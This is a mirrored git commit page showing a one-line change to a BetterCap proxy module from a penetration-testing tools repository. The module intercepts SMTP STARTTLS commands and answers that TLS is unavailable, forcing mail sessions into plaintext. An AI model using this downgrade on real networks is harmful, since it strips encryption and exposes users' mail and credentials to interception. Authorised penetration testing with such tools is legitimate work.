mirror of
https://github.com/mgeeky/Penetration-Testing-Tools.git
synced 2024-12-04 08:15:15 +01:00
Update smtpdowngrade.rb
This commit is contained in:
parent
12413b1cba
commit
1fb2ebb5ac
@ -30,7 +30,7 @@ class SMTPDowngrade < BetterCap::Proxy::TCP::Module
|
|||||||
def smtp_parse_request(event)
|
def smtp_parse_request(event)
|
||||||
return nil if not event.data
|
return nil if not event.data
|
||||||
|
|
||||||
if event.data =~ /^STARTTLS\s*\r\n/
|
if event.data =~ /^STARTTLS.*/
|
||||||
BetterCap::Logger.info "[#{'SMTP Downgrade'.green}] Intercepted STARTTLS command."
|
BetterCap::Logger.info "[#{'SMTP Downgrade'.green}] Intercepted STARTTLS command."
|
||||||
@respondwith = "454 4.7.0 TLS not available due to local problem\r\n"
|
@respondwith = "454 4.7.0 TLS not available due to local problem\r\n"
|
||||||
|
|
||||||
|
Loading…
Reference in New Issue
Block a user